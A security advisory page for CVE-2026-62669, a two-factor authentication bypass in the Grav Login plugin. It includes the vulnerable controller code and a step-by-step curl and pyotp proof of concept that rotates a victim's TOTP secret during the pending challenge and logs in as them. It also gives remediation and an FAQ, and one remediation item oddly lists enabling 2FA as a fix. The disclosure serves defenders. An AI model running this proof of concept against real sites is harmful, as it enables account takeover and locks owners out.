CVE-2026-62669: Grav Login Plugin: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge

Published Aug 19, 2026
·
Updated

Summary When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofasecret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.

Details Four code locations in login plugin v3.8.10 enable the chain:

1. Session user set even with 2FA pending user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.

2. taskRegenerate2FASecret - no authorization check user/plugins/login/classes/Controller.php

php public function taskRegenerate2FASecret() { $user = $this->grav['user']; if ($user->exists()) { // ← only checks exists(), NOT authorized() $secret = $twoFa->createSecret(); $user->twofasecret = $secret; // overwrites victim's secret on disk $user->save(); $jsonresponse = [ 'status' => 'success', 'image' => $image, 'secret' => trim(pregreplace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker ]; } }

3. No CSRF nonce required user/plugins/login/login.php - the task dispatch switch only validates twofacancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.

PoC Confirmed live on this instance after enabling plugins.login.twofaenabled: true and configuring TOTP on the user account.

bash Step 1: Password-only login (lands in 2FA-pending; keep session cookie) LOGINPAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login") NONCE=$(echo "$LOGINPAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+') curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \ "http://127.0.0.1/grav/login" \ -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"

Step 2: Regenerate the 2FA secret (NO nonce required) curl -s -b /tmp/2fa.jar \ "http://127.0.0.1/grav/login/task:login.regenerate2FASecret" {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}

Step 3: Compute TOTP from the attacker-chosen secret python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())" 152656

Step 4: Complete 2FA with attacker's TOTP code curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \ -d "task=login.twofa&2facode=152656"

Step 5: Verify - fully authenticated as victim curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout' Grav User Logout

Impact Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.

The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.

Other sources

Grav Login Plugin adds login, basic ACL, and session wide messages to Grav. Prior to 3.8.11, the Grav Login plugin login.regenerate2FASecret task checks only that the pending-session user exists rather than requiring $user->authorized. After submitting a victim's correct password, an attacker can invoke taskRegenerate2FASecret() during the pending TOTP challenge, overwrite twofasecret, read the replacement secret from the response, calculate a valid code, and complete authentication without the victim's second factor. This issue is fixed in version 3.8.11.

MITRE

Affected Software

2 affected componentsFixes available
Grav Grav Login Plugin<3.8.11
composer/getgrav/grav<2.0.4
2.0.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.4
  2. Upgrade

    Upgrade Grav Login Plugin to a version that resolves this vulnerability.

    Fixed in 3.8.11
  3. Configuration

    Ensure two-factor authentication is enabled using plugins.login.twofa_enabled: true before continuing; the issue is described as confirmed live after enabling this setting, and the fix requires upgrading the plugin to v3.8.11.

    Grav Login Plugin plugins.login.twofa_enabled = true

Event History

Aug 19, 2026
CVE Published
via MITRE·03:40 PM
Data Sourced
via MITRE·03:40 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:18 PM
DescriptionSeverityWeakness
Sep 2, 2026
Advisory Published
via GitHub·10:01 PM
Data Sourced
via GitHub·10:01 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What must an attacker have to exploit this issue?

The attacker must know the victim's correct password and be able to submit it far enough to create a pending session at the TOTP challenge. No existing authenticated session or second-factor code is required.

2

Are accounts without two-factor authentication affected?

The described attack occurs during a pending TOTP challenge and works by replacing the account's twofa_secret. The provided information does not indicate an impact on accounts that do not use TOTP-based two-factor authentication.

3

Which versions should be remediated?

Grav Login Plugin versions prior to 3.8.11 are affected. Upgrade to version 3.8.11, which includes the fix.

4

How can defenders identify a potential attempted or successful exploitation?

Review authentication-related activity for regeneration of a twofa_secret during a pending TOTP challenge, followed by successful authentication using a newly generated code. The provided information does not specify log entries, event names, or detection artifacts.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203